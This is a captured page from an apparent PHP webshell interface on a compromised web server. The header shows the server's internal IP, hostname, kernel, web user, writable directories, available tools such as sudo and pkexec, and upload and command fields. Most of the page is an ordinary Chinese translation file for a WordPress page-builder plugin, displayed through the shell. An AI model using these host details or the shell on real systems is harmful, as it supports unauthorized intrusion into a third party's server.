403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rcssed/public_html/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/rcssed/public_html/wp-content/languages/plugins/siteorigin-panels-zh_CN.po
# Translation of Plugins - Page Builder by SiteOrigin - Stable (latest release) in Chinese (China)
# This file is distributed under the same license as the Plugins - Page Builder by SiteOrigin - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2020-06-22 20:43:51+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/3.0.0-alpha\n"
"Language: zh_CN\n"
"Project-Id-Version: Plugins - Page Builder by SiteOrigin - Stable (latest release)\n"

#: inc/styles.php:81
msgid "%s ID"
msgstr "%s ID"

#: inc/admin.php:468 inc/styles.php:341 tpl/js-templates.php:61
msgid "Widget"
msgstr "小工具"

#: settings/tpl/settings.php:25
msgid "Welcome"
msgstr "欢迎"

#: tpl/js-templates.php:554 tpl/js-templates.php:555
msgid "Update"
msgstr "更新"

#: inc/settings.php:255
msgid "Use Classic Editor for new posts"
msgstr "使用经典编辑器发布新文章"

#: inc/admin.php:457
msgid "Draft"
msgstr "草稿"

#: tpl/js-templates.php:553
msgid "Save Draft"
msgstr "保存草稿"

#: inc/settings.php:318
msgid "Preview"
msgstr "预览"

#: widgets/widgets.php:781
msgid "Attachment Page"
msgstr "附件页面"

#: widgets/widgets.php:782
msgid "File"
msgstr "档案"

#: widgets/widgets.php:800
msgid "Image (PB)"
msgstr "图像 (PB)"

#: widgets/widgets.php:802
msgid "Displays a simple image."
msgstr "显示简单的图示。"

#: widgets/widgets.php:853
msgid "Embedded Video (PB)"
msgstr "已嵌入视频 (PB)"

#: widgets/widgets.php:855
msgid "Embeds a video."
msgstr "嵌入一条视频。"

#: widgets/widgets.php:893
msgid "Video"
msgstr "视频"

#: widgets/widgets.php:909
msgid "Self Hosted Video (PB)"
msgstr "自我托管视频 (PB)"

#: widgets/widgets.php:911
msgid "A self hosted video player."
msgstr "自我托管视频播放器。"

#: widgets/widgets.php:953
msgid "Video URL"
msgstr "视频网址"

#: widgets/widgets.php:957
msgid "Poster URL"
msgstr "海报网址"

#: widgets/widgets.php:959
msgid "An image that displays before the video starts playing."
msgstr "在视频开始播放前显示的图像。"

#: widgets/widgets.php:964
msgid "Auto Play Video"
msgstr "自动播放视频"

#. Author URI of the plugin
msgid "https://siteorigin.com"
msgstr "https://siteorigin.com"

#. Author of the plugin
msgid "SiteOrigin"
msgstr "SiteOrigin"

#. Plugin URI of the plugin
msgid "https://siteorigin.com/page-builder/"
msgstr "https://siteorigin.com/page-builder/"

#. Plugin Name of the plugin
msgid "Page Builder by SiteOrigin"
msgstr "SiteOrigin Page Builder"

#. Description of the plugin
msgid "A drag and drop, responsive page builder that simplifies building your website."
msgstr "一个通过拖放的响应页面构建器,使你构建网站更简单。"

#: inc/widgets/layout.php:13
msgid "Layout Builder"
msgstr "布局构建器"

#: inc/widgets/layout.php:109
msgid "Open Builder"
msgstr "开启构建器"

#: inc/widgets/post-content.php:12
msgid "Post Content"
msgstr "帖子内容"

#: inc/widgets/post-content.php:60 inc/widgets/post-loop.php:303
#: widgets/widgets.php:608 widgets/widgets.php:783
msgid "None"
msgstr "无"

#: inc/widgets/post-loop-helper.php:41 inc/widgets/post-content.php:61
#: inc/widgets/post-loop.php:250
#: widgets/widgets/call-to-action/call-to-action.php:15
#: widgets/widgets/price-box/price-box.php:15 widgets/widgets/list/list.php:15
msgid "Title"
msgstr "标题"

#: inc/widgets/post-content.php:62
msgid "Featured Image"
msgstr "特色图像"

#: inc/widgets/post-content.php:67
msgid "Display Content"
msgstr "显示内容"

#: inc/widgets/post-loop-helper.php:31 inc/widgets/post-loop.php:23
msgid "Post Loop"
msgstr "帖子循环"

#: inc/widgets/post-loop-helper.php:33 inc/widgets/post-loop.php:25
msgid "Displays a post loop."
msgstr "显示一个帖子循环。"

#: inc/widgets/post-loop.php:220
msgid "Your theme doesn't have any post loops."
msgstr "您的主题并没有任何帖子循环。"

#: inc/widgets/post-loop-helper.php:45 inc/widgets/post-loop.php:254
msgid "Template"
msgstr "模版"

#: inc/widgets/post-loop-helper.php:52 inc/widgets/post-loop.php:272
msgid "If the template supports it, cut posts and display the more link."
msgstr "若模版支持,请剪下帖子并显示更多链接。"

#: inc/widgets/post-loop.php:287 widgets/widgets.php:594
msgid "Post Type"
msgstr "帖子类型"

#: inc/widgets/post-loop.php:296 widgets/widgets.php:601
msgid "Posts Per Page"
msgstr "每页帖子"

#: inc/widgets/post-loop.php:301 widgets/widgets.php:606
msgid "Order By"
msgstr "顺序排列方式"

#: inc/widgets/post-loop.php:304 widgets/widgets.php:609
msgid "Post ID"
msgstr "帖子 ID"

#: inc/widgets/post-loop.php:305 widgets/widgets.php:610
msgid "Author"
msgstr "作者"

#: inc/widgets/post-loop.php:306 inc/widgets/post-loop.php:307
#: widgets/widgets/testimonial/testimonial.php:15 widgets/widgets.php:611
#: widgets/widgets.php:612
msgid "Name"
msgstr "姓名"

#: inc/widgets/post-loop.php:308 widgets/widgets.php:613
msgid "Date"
msgstr "日期"

#: inc/widgets/post-loop.php:309 widgets/widgets.php:614
msgid "Modified"
msgstr "已修改"

#: inc/widgets/post-loop.php:311 widgets/widgets.php:616
msgid "Random"
msgstr "随机"

#: inc/widgets/post-loop.php:312 widgets/widgets.php:617
msgid "Comment Count"
msgstr "评论数"

#: inc/widgets/post-loop.php:313 widgets/widgets.php:618
msgid "Menu Order"
msgstr "菜单排序"

#: inc/widgets/post-loop.php:314
msgid "Post In Order"
msgstr "帖子排序"

#: inc/widgets/post-loop.php:319 widgets/widgets.php:624
msgid "Order"
msgstr "排序"

#: inc/widgets/post-loop.php:321 widgets/widgets.php:627
msgid "Descending"
msgstr "降序"

#: inc/widgets/post-loop.php:322 widgets/widgets.php:626
msgid "Ascending"
msgstr "升序"

#: inc/widgets/post-loop.php:327 widgets/widgets.php:633
msgid "Sticky Posts"
msgstr "置顶帖子"

#: inc/widgets/post-loop.php:329 inc/styles.php:246 widgets/widgets.php:635
#: widgets/widgets.php:757
msgid "Default"
msgstr "默认"

#: inc/widgets/post-loop.php:330 widgets/widgets.php:636
msgid "Ignore Sticky"
msgstr "忽略置顶"

#: inc/widgets/post-loop.php:331 widgets/widgets.php:637
msgid "Exclude Sticky"
msgstr "排除置顶"

#: inc/widgets/post-loop.php:332 widgets/widgets.php:638
msgid "Only Sticky"
msgstr "仅置顶"

#: inc/widgets/post-loop.php:337
msgid "Additional "
msgstr "其他 "

#: widgets/widgets.php:220
msgid "Style"
msgstr "样式"

#: widgets/widgets.php:244
msgid "%s Style"
msgstr "%s样式"

#: widgets/widgets.php:644
msgid "Additional Arguments"
msgstr "其他实参"

#: widgets/widgets.php:705
msgid "Gallery (PB)"
msgstr "艺廊 (PB)"

#: widgets/widgets.php:707
msgid "Displays a gallery."
msgstr "显示一个艺廊。"

#: widgets/widgets.php:746
msgid "Gallery Images"
msgstr "艺廊图像"

#: widgets/widgets.php:747
msgid "edit gallery"
msgstr "编辑艺廊"

#: widgets/widgets.php:751
msgid "Comma separated attachment IDs. Defaults to all current page's attachments."
msgstr "逗号隔开附加的 ID,默认所有当前页面的附件。"

#: widgets/widgets.php:755
msgid "Image Size"
msgstr "图像尺寸"

#: widgets/widgets.php:758
msgid "Large"
msgstr "大"

#: widgets/widgets.php:759
msgid "Medium"
msgstr "中"

#: widgets/widgets.php:760
msgid "Thumbnail"
msgstr "缩略图"

#: widgets/widgets.php:761
msgid "Full"
msgstr "完整"

#: widgets/widgets.php:769
msgid "Gallery Type"
msgstr "艺廊类型"

#: widgets/widgets.php:774
msgid "Columns"
msgstr "列"

#: widgets/widgets.php:779
msgid "Link To"
msgstr "连接到"

#: widgets/widgets/animated-image/animated-image.php:15 widgets/widgets.php:835
msgid "Image URL"
msgstr "图片网址"

#: widgets/widgets/button/button.php:19 widgets/widgets.php:839
msgid "Destination URL"
msgstr "目标网址"

#: widgets/widgets/animated-image/animated-image.php:6
msgid "Animated Image (PB)"
msgstr "动画图像 (PB)"

#: widgets/widgets/animated-image/animated-image.php:8
msgid "An image that animates in when it enters the screen."
msgstr "进入屏幕时以动画效果呈现的图像。"

#: widgets/widgets/animated-image/animated-image.php:19
msgid "Animation"
msgstr "动画"

#: widgets/widgets/animated-image/animated-image.php:21
msgid "Fade In"
msgstr "淡出"

#: widgets/widgets/animated-image/animated-image.php:22
msgid "Slide Up"
msgstr "向上滑动"

#: widgets/widgets/animated-image/animated-image.php:23
msgid "Slide Down"
msgstr "向下滑动"

#: widgets/widgets/animated-image/animated-image.php:24
msgid "Slide Left"
msgstr "向左滑动"

#: widgets/widgets/animated-image/animated-image.php:25
msgid "Slide Right"
msgstr "向右滑动"

#: widgets/widgets/button/button.php:6
msgid "Button (PB)"
msgstr "按钮 (PB)"

#: widgets/widgets/button/button.php:15
#: widgets/widgets/testimonial/testimonial.php:27
#: widgets/widgets/list/list.php:19
msgid "Text"
msgstr "文本"

#: widgets/widgets/button/button.php:23
#: widgets/widgets/testimonial/testimonial.php:36
#: widgets/widgets/call-to-action/call-to-action.php:31
#: widgets/widgets/price-box/price-box.php:44
msgid "Open In New Window"
msgstr "在新的屏幕上开启"

#: widgets/widgets/button/button.php:27
msgid "Button Alignment"
msgstr "按钮对齐"

#: inc/styles-admin.php:203 widgets/widgets/button/button.php:29
msgid "Left"
msgstr "左"

#: inc/styles-admin.php:195 widgets/widgets/button/button.php:30
msgid "Right"
msgstr "右"

#: inc/styles.php:260 inc/styles.php:307 widgets/widgets/button/button.php:31
msgid "Center"
msgstr "中"

#: widgets/widgets/button/button.php:32
msgid "Justify"
msgstr "左右对齐"

#: widgets/widgets/call-to-action/call-to-action.php:6
msgid "Call To Action (PB)"
msgstr "行动号召 (PB)"

#: widgets/widgets/call-to-action/call-to-action.php:19
msgid "Sub Title"
msgstr "子标题"

#: widgets/widgets/call-to-action/call-to-action.php:23
#: widgets/widgets/price-box/price-box.php:36
msgid "Button Text"
msgstr "按钮文本"

#: widgets/widgets/call-to-action/call-to-action.php:27
#: widgets/widgets/price-box/price-box.php:40
msgid "Button URL"
msgstr "按钮网址"

#: widgets/widgets/call-to-action/call-to-action.php:37
#: widgets/widgets/price-box/price-box.php:49
msgid "Button"
msgstr "按钮"

#: widgets/widgets/list/list.php:6
msgid "List (PB)"
msgstr "列表 (PB)"

#: widgets/widgets/price-box/price-box.php:8 widgets/widgets/list/list.php:8
msgid "Displays a bullet list of elements"
msgstr "显示要素的项目符号列表"

#: widgets/widgets/price-box/price-box.php:32 widgets/widgets/list/list.php:20
msgid "Start each new point with an asterisk (*)"
msgstr "以星号(*)作为每个新要点的开端"

#: widgets/widgets/price-box/price-box.php:6
msgid "Price Box (PB)"
msgstr "价格方块 (PB)"

#: widgets/widgets/price-box/price-box.php:19
msgid "Price"
msgstr "价格"

#: widgets/widgets/price-box/price-box.php:23
msgid "Per"
msgstr "每"

#: widgets/widgets/price-box/price-box.php:27
msgid "Information Text"
msgstr "信息文本"

#: widgets/widgets/price-box/price-box.php:50
msgid "Feature List"
msgstr "功能列表"

#: widgets/widgets/testimonial/testimonial.php:6
msgid "Testimonial (PB)"
msgstr "用户感言 (PB)"

#: widgets/widgets/testimonial/testimonial.php:19
msgid "Location"
msgstr "地点"

#: widgets/widgets/testimonial/testimonial.php:23
msgid "Image"
msgstr "图像"

#: widgets/widgets/testimonial/testimonial.php:32
msgid "URL"
msgstr "URL"

#: inc/widgets/layout.php:15
msgid "A complete SiteOrigin Page Builder layout as a widget."
msgstr "作为小工具的全面 SiteOrigin Page Builder 布局。"

#: widgets/widgets/testimonial/testimonial.php:8
msgid "Displays a bullet list of points"
msgstr "显示要点的项目符号列表"

#: inc/widgets/post-loop.php:344 widgets/widgets.php:648
msgid "Additional query arguments. See 1{query_posts}."
msgstr "其他查询实参。请见1{query_posts}。"

#: widgets/widgets/call-to-action/call-to-action.php:8
msgid "A Call to Action block"
msgstr "行动号召区块"

#: widgets/widgets/price-box/price-box.php:31
msgid "Features Text"
msgstr "特色文本"

#: inc/widgets/post-content.php:14
msgid "Displays content from the current post."
msgstr "显示现有帖子的一些帖子内容格式。"

#: inc/widgets/post-loop.php:310 widgets/widgets.php:615
msgid "Parent"
msgstr "父"

#: inc/styles.php:165
msgid "How the background image is displayed."
msgstr "背景图像显示方式。"

#: inc/styles.php:170
msgid "Border Color"
msgstr "边框颜色"

#: inc/styles.php:315 inc/styles.php:355
msgid "Font Color"
msgstr "字体颜色"

#: inc/styles.php:358
msgid "Color of text inside this widget."
msgstr "此小工具中的文本颜色。"

#: inc/admin-widgets-bundle.php:19 inc/admin-widgets-bundle.php:20
msgid "Install Page Builder Plugin"
msgstr "安装 Page Builder 插件"

#: inc/revisions.php:83
msgid "Page Builder Content"
msgstr "Page Builder 内容"

#: inc/styles-admin.php:46
msgid "Row Styles"
msgstr "行的样式"

#: inc/styles-admin.php:55
msgid "Widget Styles"
msgstr "小工具样式"

#: inc/styles-admin.php:84
msgid "Attributes"
msgstr "属性"

#: inc/styles-admin.php:88 inc/settings.php:363
msgid "Layout"
msgstr "布局"

#: inc/styles-admin.php:96
msgid "Design"
msgstr "设计"

#: inc/styles-admin.php:106
msgid "Theme"
msgstr "主题"

#: inc/styles-admin.php:248
msgid "Select Image"
msgstr "选择图像"

#: inc/styles-admin.php:253
msgid "Remove"
msgstr "移除"

#: inc/styles-admin.php:273 inc/settings.php:503
msgid "Enabled"
msgstr "允许"

#: inc/data/widgets-bundle.php:19
msgid "SiteOrigin Button"
msgstr "SiteOrigin 按钮"

#: inc/data/widgets-bundle.php:20 widgets/widgets/button/button.php:8
msgid "A simple button"
msgstr "简单的按钮"

#: inc/admin-widget-dialog.php:120 inc/data/widgets-bundle.php:11
#: inc/data/widgets-bundle.php:23 inc/data/widgets-bundle.php:35
#: inc/data/widgets-bundle.php:47 inc/data/widgets-bundle.php:59
#: inc/data/widgets-bundle.php:71
msgid "SiteOrigin Widgets Bundle"
msgstr "SiteOrigin 小工具包"

#: inc/data/widgets-bundle.php:31
msgid "SiteOrigin Image"
msgstr "SiteOrigin 图像"

#: inc/data/widgets-bundle.php:32
msgid "Choose images from your media library."
msgstr "从您的媒体库选择图像。"

#: inc/data/widgets-bundle.php:43
msgid "SiteOrigin Slider"
msgstr "SiteOrigin 滑块"

#: inc/data/widgets-bundle.php:44
msgid "A basic slider widget."
msgstr "基本的滑块小工具。"

#: inc/data/widgets-bundle.php:55
msgid "SiteOrigin Features"
msgstr "SiteOrigin 功能"

#: inc/data/widgets-bundle.php:56
msgid "Display site features as a collection of icons."
msgstr "以一系列图标显示网站功能。"

#: inc/data/widgets-bundle.php:67
msgid "SiteOrigin Post Carousel"
msgstr "SiteOrigin 帖子 Carousel"

#: inc/data/widgets-bundle.php:68
msgid "Display your posts as a carousel."
msgstr "以轮播方式显示您的帖子。"

#: inc/admin-widget-dialog.php:99 widgets/widgets.php:164
msgid "Widgets Bundle"
msgstr "小工具包"

#: inc/admin-widget-dialog.php:129
msgid "Page Builder Widgets"
msgstr "Page Builder 小工具"

#: inc/admin-widget-dialog.php:145
msgid "WordPress Widgets"
msgstr "WordPress 小工具"

#: inc/admin-widget-dialog.php:155
msgid "WooCommerce"
msgstr "WooCommerce"

#: inc/admin-widget-dialog.php:166
msgid "Jetpack"
msgstr "Jetpack"

#: inc/admin-widget-dialog.php:177
msgid "BBPress"
msgstr "BBPress"

#: inc/admin-widget-dialog.php:185 inc/settings.php:350
msgid "Recommended Widgets"
msgstr "建议的小工具"

#: inc/admin.php:1479 inc/admin.php:1526 inc/settings.php:199
#: settings/tpl/settings.php:9
msgid "SiteOrigin Page Builder"
msgstr "SiteOrigin Page Builder"

#: inc/admin.php:179 inc/admin.php:575 inc/admin.php:1224 inc/admin.php:1229
#: inc/settings.php:199 tpl/js-templates.php:197
msgid "Page Builder"
msgstr "Page Builder"

#: inc/settings.php:226
msgid "Page Builder Settings"
msgstr "Page Builder 设置"

#: inc/settings.php:242
msgid "General"
msgstr "一般"

#: inc/settings.php:248
msgid "Post Types"
msgstr "帖子类型"

#: inc/settings.php:326
msgid "Widgets"
msgstr "小工具"

#: inc/settings.php:332
msgid "Widget Title HTML"
msgstr "小工具标题 HTML"

#: inc/settings.php:333
msgid "The HTML used for widget titles. {{title}} is replaced with the widget title."
msgstr "用于小工具标题的 HTML。{{title}} 会取代小工具的标题。"

#: inc/settings.php:344
msgid "Legacy Bundled Widgets"
msgstr "保留小工具包"

#: inc/settings.php:345
msgid "Load legacy widgets from Page Builder 1."
msgstr "从 Page Builder 1 载入保留小工具。"

#: inc/settings.php:351
msgid "Display recommend widgets in Page Builder add widget dialog."
msgstr "在 Page Builder 中显示建议的小工具并添加挂件对话框。"

#: inc/settings.php:371
msgid "Responsive Layout"
msgstr "响应式布局"

#: inc/settings.php:372
msgid "Collapse widgets, rows and columns on mobile devices."
msgstr "小工具、行和列在移动设备上显示为单列。"

#: inc/settings.php:402
msgid "Mobile Width"
msgstr "移动设备屏幕宽"

#: inc/settings.php:403
msgid "Device width, in pixels, to collapse into a mobile view ."
msgstr "设备宽、像素、折叠为移动设备上的视图。"

#: inc/settings.php:422
msgid "Row Gutter"
msgstr "行距"

#: inc/settings.php:423
msgid "Default spacing between columns in each row."
msgstr "每一行的默认列距。"

#: inc/settings.php:429
msgid "Full Width Container"
msgstr "全宽包装器"

#: inc/settings.php:430
msgid "The container used for the full width layout."
msgstr "用于全宽布局的包装器。"

#: inc/settings.php:437
msgid "Content"
msgstr "内容"

#: inc/settings.php:443
msgid "Copy Content"
msgstr "复制内容"

#: inc/settings.php:444
msgid "Copy content from Page Builder to post content."
msgstr "复制 Page Builder 中的内容到帖子内容。"

#: settings/tpl/settings.php:12
msgid "Search Settings"
msgstr "搜索设置"

#: settings/tpl/settings.php:30
msgid "Settings Saved"
msgstr "已保存设置"

#: settings/tpl/settings.php:84
msgid "Save Settings"
msgstr "保存设置"

#: inc/home.php:25
msgid "Custom Home Page Builder"
msgstr "自订主页构建器"

#: inc/admin.php:658 inc/home.php:26
msgid "Home Page"
msgstr "主页"

#: inc/admin.php:331
msgid "All Widgets"
msgstr "所有小工具"

#: inc/admin.php:358
msgid "Missing Widget"
msgstr "缺少的小工具"

#: inc/admin.php:359
msgid "Page Builder doesn't know about this widget."
msgstr "Page Builder 不认识这个小工具。"

#: inc/admin.php:363
msgid "%d seconds"
msgstr "%d 秒"

#: inc/admin.php:365
msgid "%d minutes"
msgstr "%d 分"

#: inc/admin.php:367
msgid "%d hours"
msgstr "%d 小时"

#: inc/admin.php:370
msgid "%d second"
msgstr "%d 秒"

#: inc/admin.php:372
msgid "%d minute"
msgstr "%d 分"

#: inc/admin.php:374
msgid "%d hour"
msgstr "%d 小时"

#: inc/admin.php:377
msgid "%s before"
msgstr "%s 前"

#: inc/admin.php:378
msgid "Now"
msgstr "现在"

#: inc/admin.php:382
msgid "Current"
msgstr "目前"

#: inc/admin.php:383
msgid "Original"
msgstr "原始"

#: inc/admin.php:384
msgid "Version restored"
msgstr "已恢复版本"

#: inc/admin.php:389
msgid "Widget deleted"
msgstr "已删除小工具"

#: inc/admin.php:391
msgid "Widget added"
msgstr "已添加小工具"

#: inc/admin.php:393
msgid "Widget edited"
msgstr "已编辑小工具"

#: inc/admin.php:395
msgid "Widget duplicated"
msgstr "已复制小工具"

#: inc/admin.php:397
msgid "Widget moved"
msgstr "已移动小工具"

#: inc/admin.php:401
msgid "Row deleted"
msgstr "已删除行"

#: inc/admin.php:403
msgid "Row added"
msgstr "已添加行"

#: inc/admin.php:405
msgid "Row edited"
msgstr "已编辑行"

#: inc/admin.php:407
msgid "Row moved"
msgstr "已移动行"

#: inc/admin.php:409
msgid "Row duplicated"
msgstr "已复制行"

#: inc/admin.php:414
msgid "Cell resized"
msgstr "已重设大小单元格"

#: inc/admin.php:417
msgid "Prebuilt layout loaded"
msgstr "已加载预置布局"

#: inc/admin.php:421
msgid "Loading prebuilt layout"
msgstr "加载预置布局中"

#: inc/admin.php:422
msgid "Would you like to copy this editor's existing content to Page Builder?"
msgstr "您想复制此编辑器现有的内容到 Page Builder 吗?"

#: inc/admin.php:423
msgid "Would you like to clear your Page Builder content and revert to using the standard visual editor?"
msgstr "您希望清楚您的 Page Builder 内容,并回到标准的视觉化编辑器吗?"

#: inc/admin.php:425
msgid "Layout Builder Widget"
msgstr "布局构建器小工具"

#: inc/admin.php:427 tpl/js-templates.php:97 tpl/js-templates.php:422
msgid "Are you sure?"
msgstr "您确定吗?"

#: inc/admin.php:482
msgid "Page Builder layouts"
msgstr "Page Builder 布局"

#: inc/admin.php:483
msgid "Error uploading or importing file."
msgstr "上传或输入档案时发生错误。"

#: inc/admin.php:759
msgid "Untitled Widget"
msgstr "未命名小工具"

#: siteorigin-panels.php:486
msgid "Edit Home Page"
msgstr "编辑主页"

#: inc/admin.php:945
msgid "Save and reload this page to start using the widget after you've installed it."
msgstr "在您安装了小工具后,保存并重新载入此页开始使用它。"

#: inc/admin.php:162 inc/admin-dashboard.php:95
msgid "Support Forum"
msgstr "支持论坛"

#: tpl/admin-home-page.php:21
msgid "On"
msgstr "开启"

#: tpl/admin-home-page.php:21
msgid "Off"
msgstr "关闭"

#: tpl/admin-home-page.php:25
msgid "Custom Home Page"
msgstr "自订主页"

#: tpl/admin-home-page.php:60
msgid "Save Home Page"
msgstr "保存主页"

#: tpl/admin-home-page.php:64
msgid "This interface requires Javascript"
msgstr "此接口需要 Javascript"

#: tpl/help.php:2
msgid "You can use SiteOrigin Page Builder to create home and sub pages, filled your own widgets."
msgstr "您可使用 SiteOrigin Page Builder 创建主页和子页面,填入您个人的小工具。"

#: tpl/help.php:3
msgid "The page layouts are responsive and fully customizable."
msgstr "页面布局为响应式,完全可自订"

#: tpl/js-templates.php:12 tpl/js-templates.php:14
msgid "Add Widget"
msgstr "添加小工具"

#: inc/admin.php:437 tpl/js-templates.php:17 tpl/js-templates.php:19
msgid "Add Row"
msgstr "添加行"

#: tpl/js-templates.php:31
msgid "History"
msgstr "历程纪录"

#: siteorigin-panels.php:506 tpl/js-templates.php:34 tpl/js-templates.php:36
msgid "Live Editor"
msgstr "实时编辑器"

#: inc/admin.php:451 tpl/js-templates.php:95
msgid "Edit Row"
msgstr "编辑行"

#: inc/admin.php:452 tpl/js-templates.php:96
msgid "Duplicate Row"
msgstr "复制行"

#: inc/admin.php:453 tpl/js-templates.php:97
msgid "Delete Row"
msgstr "删除行"

#: inc/settings.php:317 tpl/js-templates.php:141
msgid "Edit"
msgstr "编辑"

#: tpl/js-templates.php:142 tpl/js-templates.php:268 tpl/js-templates.php:353
msgid "Duplicate"
msgstr "复制"

#: tpl/js-templates.php:143 tpl/js-templates.php:267 tpl/js-templates.php:352
msgid "Delete"
msgstr "删除"

#: tpl/js-templates.php:206 tpl/js-templates.php:271 tpl/js-templates.php:360
msgid "Done"
msgstr "已完成"

#: tpl/js-templates.php:220
msgid "Add New Widget %s"
msgstr "添加新的小工具%s"

#: inc/admin.php:435 tpl/js-templates.php:224
msgid "Search Widgets"
msgstr "搜索小工具"

#: tpl/js-templates.php:236 tpl/js-templates.php:556
msgid "Close"
msgstr "关闭"

#: tpl/js-templates.php:321
msgid "Left to Right"
msgstr "左到右"

#: tpl/js-templates.php:322
msgid "Right to Left"
msgstr "右到左"

#: tpl/js-templates.php:339
msgid "Set"
msgstr "设置"

#: tpl/js-templates.php:358 tpl/js-templates.php:416
msgid "Insert"
msgstr "插入"

#: tpl/js-templates.php:22 tpl/js-templates.php:387
msgid "Prebuilt Layouts"
msgstr "预置布局"

#: tpl/js-templates.php:382
msgid "Search"
msgstr "搜索"

#: tpl/js-templates.php:404
msgid "Clone: %s"
msgstr "拷贝:%s"

#: tpl/js-templates.php:487
msgid "Or"
msgstr "或"

#: tpl/js-templates.php:504
msgid "Download Layout"
msgstr "下载布局"

#: tpl/js-templates.php:515
msgid "Page Builder Change History"
msgstr "Page Builder 变更纪录"

#: tpl/js-templates.php:530
msgid "Restore Version"
msgstr "恢复版本"

#: inc/admin.php:961
msgid "The widget 1{%1$s} is not available. Please try locate and install the missing plugin. Post on the 2{support forums} if you need help."
msgstr "目前小工具1{%1$s}尚无法使用。请尝试添加或安装缺少的插件。若您需要帮助,请在2{支持论坛}上发帖子。"

#: inc/admin-widget-dialog.php:114
msgid "Enable more widgets in the 1{Widgets Bundle settings}."
msgstr "在1{小工具包设置}中允许更多小工具。"

#: inc/admin-widget-dialog.php:121
msgid "Install the 1{Widgets Bundle} to get extra widgets."
msgstr "安装1{小工具包}以获得其他的小工具。"

#: inc/admin-widget-dialog.php:137
msgid "You can enable the legacy (PB) widgets in the 1{Page Builder settings}."
msgstr "您可在1{Page Builder 设置}中允许保存 (PB) 小工具。"

#: inc/admin.php:939
msgid "You need to install 1{%1$s} to use the widget 2{%2$s}."
msgstr "您必须安装1{%1$s}才可使用小工具2{%2$s}。"

#: settings/tpl/help.php:6
msgid "Please read the 1{settings guide} of the Page Builder documentation for help."
msgstr "请阅读 Page Builder 的1{设置指南}说明书寻求帮助。"

#: tpl/admin-home-page.php:41
msgid "Home page updated. 1{View page}."
msgstr "主页已更新。1{查看页面}。"

#: tpl/help.php:18
msgid "Read the 1{full documentation} on SiteOrigin. Ask a question on our 2{support forum} if you need help and sign up to 3{our newsletter} to stay up to date with future developments."
msgstr "阅读 SiteOrigin 上的1{完整文件}。若您需要帮助, 请在我们的2{支持论坛}上发问,并注册3{我们的电子报},以追踪未来所有的发展。"

#: tpl/js-templates.php:333
msgid "1{Set row layout}: %1$s columns with a ratio of %2$s going from %3$s"
msgstr "1{设置行布局}:%1$s 个行,比例为%2$s,从%3$s"

#: tpl/js-templates.php:434
msgid "Enable"
msgstr "启用"

#: tpl/js-templates.php:476
msgid "Next"
msgstr "下一个"

#: tpl/js-templates.php:603
msgid "No Results"
msgstr "没有结果"

#: tpl/js-templates.php:475
msgid "Previous"
msgstr "往前"

#: tpl/js-templates.php:447
msgid "Your search didn't return any results"
msgstr "您的搜索未返回任何结果"

#: tpl/js-templates.php:433
msgid "Do you want to browse the Prebuilt Layouts directory?"
msgstr "你想浏览预定义布局目录吗?"

#: inc/admin-layouts.php:40 inc/admin-layouts.php:220
msgid "Layouts Directory"
msgstr "布局目录"

#: siteorigin-panels.php:338
msgid "Read More"
msgstr "阅读更多"

#: inc/admin.php:438
msgid "Column"
msgstr "列"

#: inc/admin.php:385
msgid "Converted to editor"
msgstr "转到编辑"

#: inc/data/widgets-bundle.php:8
msgid "A rich text editor"
msgstr "富文本编辑器"

#: inc/data/widgets-bundle.php:7
msgid "SiteOrigin Editor"
msgstr "SiteOrigin编辑"

#: inc/styles.php:162
msgid "Parallax"
msgstr "视差"

#: inc/admin.php:433
msgid "Add Widget Below"
msgstr "添加下面的小工具"

#: inc/admin.php:434
msgid "Add Widget to Cell"
msgstr "将小工具添加到单元格"

#: inc/admin-widgets-bundle.php:77
msgid "Installing %s"
msgstr "正在安装 %s"

#: tpl/js-templates.php:486
msgid "Drop import file here"
msgstr "在此放入导入文件"

#: tpl/js-templates.php:397
msgid "Import/Export"
msgstr "导入/导出"

#: tpl/js-templates.php:490
msgid "Select Import File"
msgstr "选择导入文件"

#: inc/styles.php:92
msgid "A CSS class"
msgstr "CSS 类"

#: inc/styles.php:192
msgid "Cell Class"
msgstr "单元格类"

#: inc/styles.php:195
msgid "Class added to all cells in this row."
msgstr "已添加到此行所有单元格的类"

#: inc/styles.php:202
msgid "Bottom Margin"
msgstr "底部边距"

#: inc/styles.php:210
msgid "Gutter"
msgstr "间距"

#: inc/styles.php:115
msgid "Padding"
msgstr "填充"

#: inc/styles.php:218
msgid "Row Layout"
msgstr "行的布局"

#: inc/styles.php:222 inc/styles.php:235
msgid "Standard"
msgstr "标准"

#: inc/styles.php:223
msgid "Full Width"
msgstr "全宽"

#: inc/styles.php:224
msgid "Full Width Stretched"
msgstr "延展为页面全宽"

#: inc/styles.php:137
msgid "Background Color"
msgstr "背景颜色"

#: inc/styles.php:145
msgid "Background Image"
msgstr "背景图像"

#: inc/styles.php:153
msgid "Background Image Display"
msgstr "背景图像显示"

#: inc/styles.php:157
msgid "Tiled Image"
msgstr "并列图像"

#: inc/styles.php:158
msgid "Cover"
msgstr "覆盖"

#: inc/styles.php:159
msgid "Centered, with original size"
msgstr "置中,使用原本大小"

Youez - 2016 - github.com/yon3zu
LinuXploit